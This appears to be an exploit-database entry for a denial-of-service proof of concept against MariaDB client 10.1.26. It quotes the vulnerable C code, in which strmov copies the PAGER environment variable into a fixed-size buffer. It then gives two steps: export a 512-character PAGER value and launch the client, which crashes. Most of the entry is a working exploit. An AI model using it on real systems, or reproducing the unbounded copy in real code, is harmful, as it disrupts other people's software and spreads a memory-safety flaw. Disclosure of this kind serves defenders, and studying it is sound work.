# Exploit Title: MariaDB Client 10.1.26 - Denial of Service (PoC)
# Google Dork: None
# Date: 2018-11-16
# Exploit Author: strider
# Software Link:
# Version: mysql Ver 15.1 Distrib 10.1.26-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
# Tested on: Debian 9 Stretch x64 / Ubuntu 18.04 x86_64
# CVE : None

# Description:
# MariaDB uses environment variables. The PAGER variable is vulnerable to a bufferoverflow.
# If the environment variable PAGER is greater or equals 512 characters it will crash and make client unusable.

# This is caused by a the function strmov which takes all from source and copy that
# into destination which have a fixed size.

static char default_pager[FN_REFLEN];

char *tmp=getenv("PAGER");
if (tmp && strlen(tmp))
default_pager_set= 1;
strmov(default_pager, tmp);

Proof of Concept:

Step 1:

export PAGER=$(python -c "print '\x41' * 512")

Step 2:

mariadb -u user -p
